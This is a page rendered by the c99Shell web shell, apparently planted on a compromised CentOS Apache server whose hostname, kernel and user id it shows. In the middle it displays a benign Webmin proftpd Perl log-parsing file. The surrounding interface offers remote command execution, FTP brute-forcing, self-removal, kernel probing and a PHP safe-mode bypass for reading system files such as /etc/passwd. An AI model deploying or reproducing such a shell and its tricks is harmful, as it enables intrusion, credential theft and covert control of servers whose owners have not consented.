!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/proftpd/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     log_parser.pl (3.14 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# log_parser.pl
# Functions for parsing this module's logs

do 'proftpd-lib.pl';

# parse_webmin_log(user, script, action, type, object, &params, long)
# Converts logged information from this module into human-readable form
sub parse_webmin_log
{
local ($user, $script, $action, $type, $object, $p, $long) = @_;
local $typestr = "<i>".$text{"type_$type"}."</i>";
if ($action eq 'global') {
    return &text('log_global', $typestr);
    }
elsif ($action eq 'ftpusers') {
    return $text{'log_ftpusers'};
    }
elsif ($action eq 'virt') {
    $object = $object eq '-' ? $text{'index_defserv'}
                 : &html_escape($object);
    if ($type eq 'create') {
        return &text('log_virtc', "<tt>$object</tt>");
        }
    elsif ($type eq 'save') {
        return &text('log_virts', "<tt>$object</tt>");
        }
    elsif ($type eq 'delete') {
        return &text('log_virtd', "<tt>$object</tt>");
        }
    elsif ($type eq 'manual') {
        return &text('log_virtm', "<tt>$object</tt>");
        }
    else {
        return &text('log_virt', $typestr, "<tt>$object</tt>");
        }
    }
elsif ($action eq 'dir') {
    local ($virt, $dir) = split(/:/, $object);
    $virt = $virt ? &html_escape($virt) : $text{'index_defserv'};
    $dir = &html_escape($dir);
    if ($type eq 'create') {
        return &text($long ? 'log_dirc_l' : 'log_dirc',
                 "<tt>$dir</tt>", "<tt>$virt</tt>");
        }
    elsif ($type eq 'save') {
        return &text($long ? 'log_dirs_l' : 'log_dirs',
                 "<tt>$dir</tt>", "<tt>$virt</tt>");
        }
    elsif ($type eq 'delete') {
        return &text($long ? 'log_dird_l' : 'log_dird',
                 "<tt>$dir</tt>", "<tt>$virt</tt>");
        }
    elsif ($type eq 'manual') {
        return &text($long ? 'log_dirm_l' : 'log_dirm',
                 "<tt>$dir</tt>", "<tt>$virt</tt>");
        }
    else {
        return &text($long ? 'log_dir_l' : 'log_dir', $typestr,
                 "<tt>$dir</tt>", "<tt>$virt</tt>");
        }
    }
elsif ($action eq 'limit') {
    if ($type eq 'create') {
        return &text('log_limitc', "<tt>$object</tt>");
        }
    elsif ($type eq 'save') {
        return &text('log_limits', "<tt>$object</tt>");
        }
    elsif ($type eq 'delete') {
        return &text('log_limitd', "<tt>$object</tt>");
        }
    elsif ($type eq 'manual') {
        return &text('log_limitm', "<tt>$object</tt>");
        }
    else {
        return &text('log_limit', $typestr, "<tt>$object</tt>");
        }
    }
elsif ($action eq 'ftpaccess') {
    if ($type eq 'create') {
        return &text('log_ftpaccessc', "<tt>$object</tt>");
        }
    elsif ($type eq 'save') {
        return &text('log_ftpaccesss', "<tt>$object</tt>");
        }
    elsif ($type eq 'delete') {
        return &text('log_ftpaccessd', "<tt>$object</tt>");
        }
    elsif ($type eq 'manual') {
        return &text('log_ftpaccessm', "<tt>$object</tt>");
        }
    else {
        return &text('log_ftpaccess', $typestr, "<tt>$object</tt>");
        }
    }
elsif ($action eq 'anon') {
    $object = $object eq '-' ? $text{'index_defserv'}
                 : &html_escape($object);
    if ($type eq 'create') {
        return &text('log_anonc', "<tt>$object</tt>");
        }
    elsif ($type eq 'save') {
        return &text('log_anons', "<tt>$object</tt>");
        }
    elsif ($type eq 'delete') {
        return &text('log_anond', "<tt>$object</tt>");
        }
    elsif ($type eq 'manual') {
        return &text('log_anonm', "<tt>$object</tt>");
        }
    else {
        return &text('log_anon', $typestr, "<tt>$object</tt>");
        }
    }
else {
    return $text{"log_$action"};
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--